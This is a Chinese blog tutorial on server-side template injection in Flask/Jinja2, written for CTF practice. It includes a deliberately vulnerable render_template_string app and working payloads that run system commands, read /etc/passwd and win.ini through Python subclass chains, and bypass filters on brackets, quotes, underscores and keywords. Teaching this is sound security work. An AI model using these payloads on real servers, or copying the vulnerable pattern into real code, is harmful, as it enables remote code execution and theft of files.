关于 SSTI 模板注入的那点事

Oyst3r 于 2023-09-13 发布

1.首先的话咱们先从标题出发,带大家看看到底啥是个 SSTI 模板注入

ssti服务端模板注入的话,主要都是为python的一些框架,比如说jinja2,mmako,tornado,django,flask等,漏洞原理嘛,都是因为代码不严谨,开发人员过于信任用户输入,导致模板注入,而我那篇wp里面题目用的那个框架用的就是flask

2.可能大家说注入能理解,无非就是,那么这个模板到底是个什么鬼?大家可以这么去理解它,可能有点欠妥,理解这个思想就行

模板就类似于网上的PPT模板或者说是简历模板,它们都是现成的,只需要将内容填充进去就好了,开发人员只需要拿到用户输入数据,放进模板,渲染引擎将数据生成html文本,返回给浏览器

3.然后的话可能大家就对这个漏斗的基本特征(功能点)有个大致了解了,简而言之就是用户输入的会经过渲染,然后反馈给浏览器,呈现在用户面前,而且查看页面源码的时候,他们的特征都很明显,就是源码里面没有杂七杂八的东西,因为用户界面与业务数据(内容)是分离的

上面的那些名词啥的就算是很基本的了,接下来咱们就从 flask 框架入手(之前还是见到的这个偏多,争取做到一通百通)

1.先说一下 flask 框架的使用吧

from flask import *
#导入模块
app=Flask(__name__)
#初始化模块
@app.route('/')
#路由,访问/,就会跳转到test函数,显示hello world!
def test():
    return "hello world!"
#启动服务,绑定0.0.0.0的80端口
app.run('0.0.0.0',80)

from flask import *
#导入模块
app=Flask(__name__)
#初始化模块
@app.route("/<username>")
#路由,访问/,就会跳转到test函数,并将动态的username传入
def test(username):
#接收username,并且返回
    return "user:%s"%username
#启动服务,绑定0.0.0.0的80端口
app.run('0.0.0.0',80)

2.明白了基本的一个框架后,看一下 flask 模板渲染:

flask是使用jinja2渲染引擎,渲染方法有render_template和render_template_string两种,前者是用来渲染文件的,后来则是渲染字符串,SSTI就和字符串有关
文件格式:
├── app.py
├── static
│   └── style.css
└── templates
    └── index.html
使用方法如下:
------------------------------------------index.html----------------------------------
<h1>\{\{content\}\}<h1>
-------------------------------------------app.py---------------------------------------
from flask import *
app=Flask(__name__)
@app.route("/")
def test():
    return render_template('index.html',content='This is Test Web!')
app.run('0.0.0.0',80)
#当访问/的时候,渲染引擎就会将content对应的值,放入html模板中
#\{\{\}\}是变量包裹标识符,不仅可以传递变量,还能传递一些简单的表达式

3.接下来咱们加一个参数去接受值,渲染完后返回给用户

from flask import *
app=Flask(__name__)
@app.route("/")
def test():
    code=request.args.get('id')
    #接收get的id值
    html='<h1>hello : %s</h1>'%(code)
    #放入html
    return render_template_string(html)
    #渲染输出
app.run('0.0.0.0',80)

4.咱们也可以试着去传一下 xss

当然这种漏洞 xss 危害算是小的哈(刚刚那段代码只是没有转义,一般有转义,xss 还是很难利用的),利用好的基本上分分钟 RCE

现在看到这里的话,相信大家已经对这个漏洞要干什么,以及它的利用流程都已经有个清晰的认知了,上面只是举了一个 flask 的例子,当然其他的框架可能不一样,但是思想基本都是类似的,利用时候可能就 paylaod 的写法不太一样,而文章一开始也给出了不用的模板可能要用到的 payload 的格式

说起这个就不得不提到编程能力,自己去用 python 写一个全自动化的 Fuzz 或者也可以用 burp 里面的爆破去逐一尝试(这个的局限性就有点大了,因为现实中情况是很复杂的,我们就得根据需要去自己编写脚本),说到 Fuzz 就是可以用像这样的模糊模板语句去一个一个尝试
$\{\{<%[%'"\}\}%\
如果服务器返回了相关的异常语句则说明服务器可能在解析模板语法,然而 ssti 漏洞会出现在两个不同的上下文中,并且需要使用各自的检测方法来进一步检测 SSTI 漏洞

1.纯文字的 SSTI:有的模板引擎会将模板语句渲染成 HTML,例如 Freemarker
render('Hello' + username) --> Hello Apce
因为会渲染成 HTML,所以这还可以导致 XSS 漏洞,但是模板引擎会自动执行数学运算,的,所以如果我们输入一个运算,例如
http://vulnerable-website.com/?username=${7*7}
如果模板引擎最后返回 Hello 49 则说明存在 SSTI 漏洞,而且不同的模板引擎的数学运算的语法有些不同,还需要查阅相关资料的

2.代码型的 SSTI

我们关注这样一段代码,同样是用来生成邮件的

greeting = getQueryParameter('greeting')
engine.render("Hello \{\{"+greeting+"\}\}", data)

上面代码通过获取静态查询参数 greeting 的值然后再填充到模板语句中,但是就像 sql 注入一样,如果我们提前将双花括号闭合,然后就可以注入自定义的语句了

在上文也提到过,不同的框架使用的语法以及结构可能是完全不同的,所以大家以后如果探测到了 SSTI 模板注入,首先要做的一定就是去识别它所用的框架及模板,然后去搜索有关这方面的资料,学习后进一步去利用它

1.单纯的 CTF 的话,一般会在题目或者源码等地方给你提示,实战的话最常见的办法还是想办法去输入语句,然后让网站去报错,一般报错信息中就会有这些我们想要的信息

2.或者我们也可以批量测试,用不同框架所对应的语法去一步一步尝试

3.漏洞扫描器或框架探测器,这个就看运气了

(针对这一部分,咱们由易到难,一步一步来)

:有的 SSTI 模板注入漏洞的题目确实很容易,包括实战要是探测到了 SSTI 模板注入漏洞,利用也是很容易的,毕竟实战不会像题目一样给你绕来绕去,下面以一个例子来说明

1.首先探测到了 SSTI

2.这里的回显 “49” 正是存在 SSTI 的证明,于是我们将7*7进行修改,改成任意命令注入的形式 –system(“whoami”)

3.剩下的我就不必多说了,直接 system(”cat /flag”)就能出,所以简单的 SSTI 就是一眼出答案

:这一部分的话就开始上难度辣,但也没多难,首先就是一定要知道在 python 中一切皆对象,而全部对象的祖先都是 object 这个类,可以把他理解为盘古哈哈哈哈,然后还要知道咱们最终的目的就是要通过这个祖先去找到我们想要的后代(恶意函数),这些函数可能是被已经过滤掉的了,这也就是为什么这一部分比第一部分难的原因

1.这一部分要讲的话,还是先带大家去理解一些概念

在python中,object类是python中所有类的基类,定义一个类时,没指定继承哪个类,则默认继承object类,ssti大部分都是依靠基类->子类->危险函数来利用
下面开始介绍什么是类。什么是基类等。
__class__
#class用于返回该对象所属的类。比如字符串,它的对象就是字符串对象,类是<class 'str'>
__bases__
#bases用于以元组方式返回该对象的继承的基类
__mro__
#mro用于返回一个对象所继承的基类元组,和bases差不多
__subclasses__()
#subclasses用于获取类的所有子类
__init__
#init,类的初始化
__globals__
#globals用来获取function所处空间下所有可使用的module,方法,变量
__builtins__
#builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,对于builtins却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块,一般的话就是直接加在__globals__后面就行,形式类似于__globals__['__builtins__']
#重点注意哈,这几个里面一定要记住的有__subclasses__(),这个就相当于去找具体的类,还有个__init__.__globals__,这个的意思就是去实例化这个类,然后调用里面存在的方法!!!还有要知道一个类里面是类和方法掺在一起的,并不是说类里面只有方法!!!

2.下面来针对这个几个去逐一举例

[].__class__
返回了<type ‘list’>,对于一个列表,它利用 class 来返回类,list 类,而每个类都有一个 bases 属性,列出基类,这些都不重要,我们的目标是,通过这些,获得 object 类

[].__class__.__bases__
返回了(<type ‘object’>,),对于一个 list,用 bases 返回基类,成功获取到 object 类,这里是以元组输出的,[0]才是 object

[].__class__.__mro__
我们也可以用 mro 来返回 object,mro 会返回两个

[].__class__.__bases__[0].__subclasses__()
我们使用 subclasses 这个方法来返回类的子类,也就是 object 类子类的集合,里面包含了 file,os 等子类,调用即可执行命令等

[].__class__.__bases__[0].__subclasses__()[40]
这里调用了第 40 个子类,返回的 file
[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
相当于 file(‘/etc/passwd’).read()

3.一定要仔细看完上面的每一步,其实就相当于是一个从树干到树杈的过程,这个其实就相当于 Linux 里面的用绝对路径去寻找文件位置了,接下来给大家介绍一下咋用相对路径去找文件(类比哈,可能有点不严谨,但理解这种思想就好)

4.说是从相对路径,更不如说是已知了一些框架存在一些固有类(这就不用从 object 这种基类开始一步一步找了,而这些固有类其实每个框架都不太一样),其实我博客里面那篇 Flaskapp,在里面就先给大家演示了先用{{config}}(这个 config 其实就算是一些框架配置,一般都会有)去找一些方法,但是确实是没找到有用的,然后才继续用绝对路径去找的;这里再给大家说一个,在 Java 里面一个框架模板,经过查阅文档得知,有一个内置的模板标签 debug,可以显示调试信息,于是……

这里面也有很多有用的方法

这里的话,我也是费劲心思给大家找了一道可以用相对路径去解出的题目,就当给大家练练手了,题目如下,靶场的话是在 bugku 里面,冲个 1 块钱就能玩玩了

Bugku Simple_SSTI_2

5.当学完这些的话就已经差不多了,以后碰到这种 SSTI 就不用那么害怕辣,当然我还会教一下更加骚的一些操作

如难:这一部分的话,就给大家看看怎么编写一些自动化搜索工具,不能每回碰到这个都要在[]这个框框里面试吧?

1.现在看到这里,大家估计都明白了 payload 千变万化,但思路都一样滴!只要获取到 object 对象(当然这是绝对路径寻找法,也是最保险的方法),然后选一个能执行命令的模块,调用即可,比如 eval,os 等,都可以,所以我们就从结果出发去寻找怎么去获取这个结果

2.这里可以用手工寻找,给大家举个例子吧,一般的话我们可以利用 warnings.catch_warnings 进行命令执行(因为里面有好多有用的类和方法),所以咱们现在来找一下它在哪里(用到一个 index 方法,因为基本每一个类都会有这个方法,就是查索引用的)

查看warnings.catch_warnings方法的位置

>>> [].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
59

查看linecatch的位置

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')
25

查找os模块的位置

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')
12

查找system方法的位置(在这里使用os.open().read()可以实现一样的效果,步骤一样,不再复述)

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')
144

调用system方法

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
root
0

3.然后呢可能上面有点麻烦,咱们也可以编写一个 python 脚本,当然就是直接传给参数那种的题目或实战,不然像 Flaskapp 就不能这样了(别着急,这个也有应对方法),下面写个脚本哈,很简单的

code = 'eval'             # 查找包含 eval 函数的内建模块的类型
i = 0
for c in ().__class__.__base__.__subclasses__():
    if hasattr(c,'__init__') and hasattr(c.__init__,'__globals__') and c.__init__.__globals__['__builtins__'] and c.__init__.__globals__['__builtins__'][code]:
        print('{} {}'.format(i,c))
    i = i + 1

这个甚至简单到直接用 chatgpt 写也成,然后的话给大家看看这个脚本的利用结果哈

然后写个 payload 验证一下里面有没有 eval 哈,别说我骗你,就选 77 啦

name=\{\{().__class__.__base__.__subclasses__()[77].__init__.__globals__['__builtins__']\}\}

可以看到几个敏感函数 eval、open、file 等等,应有尽有。这样我们就可以做很多我们想做的事了。

4.然后针对于像 Flaskapp 这种 ex 题,我在网上又向师傅学习了种新姿势,就是直接在 SSTI 注入那里编写循环脚本,这样甚至都不用 python 了,我给大家找了一个例子哈,就用 Flaskapp 这道题,这个题网上有位师傅也是用的 catch_warnings 这个类,下面就是具体的利用脚本,直接粘在输入框里面就行(注意写成一行)



:看到这里了,在你以后碰到 SSTI 基本上你是没啥大问题了,但当遇到 jinja2 框架时候,教你一招通杀它,这里给大家展示一下大佬儿的思路(真的 nb)

1.是这样的,有位师傅自称在编写脚本和将 Payload 输入浏览器的时候,因手误无意中组成了一个错误的 Payload:

name=\{\{().__class__.__base__.__subclasses__().c.__init__.__globals__['__builtins__']['eval']('abs(-1)')\}\}

然后竟然访问成功了!!!

2.那么为什么会访问成功呢?

().class.base.subclasses()理应返回的是 object 类型的所有子类的列表,是不应该包含 c 这个属性的;理论上应该造成服务端错误返回 500,服务器日志显示 AttributeError: ‘list’ object has no attribute ‘c’,但是结果却是成功执行了,意识到 jinja2 的沙箱环境,跟普通 Python 运行环境还是有很多不同的。

3.既然这样的话我们就看下这个 c 对象的 init 函数到底是个啥?写个 payload 验证一下

name=\{\{().__class__.__base__.__subclasses__().c.__init__\}\}

竟然是一个 Undefined 类型,也就是说如果碰到未定义的变量就会返回为 Undefined 类型,而 Python 官方库是没有这个类型的,也就是说明这个 Undefined 是 jinja2 框架提供的,我们在 jinja2 框架的源码中搜寻,最后在 runtime.py 中找到了 Undefined 这个 class:

继承的是 object 类型,并且还有其他函数

4.那么这就好办了,既然都是 Undefined 那我随便定义一个未被定义过的变量也应该是 Undefined:

name=\{\{a.__init__\}\}

既然 Undefined 类可以执行成功,那我们就可以看看他的全局 global 的内建模块中都包含什么了:

name=\{\{a.__init__.__globals__.__builtins__\}\}

还是可以看到几个敏感函数 eval、open 等等,应有尽有,那这是不是以后碰到 jinja2 框架的时候就异常轻松啦

5.展示一下

\{\{a.__init__.__globals__.__builtins__.open("C:\Windows\win.ini").read()\}\}

pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值

>>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()

'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/sp

在这里使用 pop 并不会真的移除,但却能返回其值,取代中括号,来实现绕过

2.绕过引号

request.args  是 flask 中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤

\{\{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40(request.args.path).read()\}\}&path=/etc/passwd\}\}

3.绕过下划线

同样利用request.args属性

\{\{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() \}\}&class=__class__&mro=__mro__&subclasses=__subclasses__\}\}

将其中的request.args改为request.values则利用 post 的方式进行传参

GET:
\{\{ ''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]('/etc/passwd').read() \}\}
POST:
class=__class__&mro=__mro__&subclasses=__subclasses__

4.绕过关键字,例如被过滤掉__class__关键词

首先我们可以尝试字符串拼接,再尝试一下编码绕过,但是都要用到__getattribute__,下面是两个具体的利用 payload

\{\{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()\}\}
\{\{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()\}\}

兄弟姐妹们,终于把 SSTI 这“点”事说完了,祝各位师傅们一起继续加油哈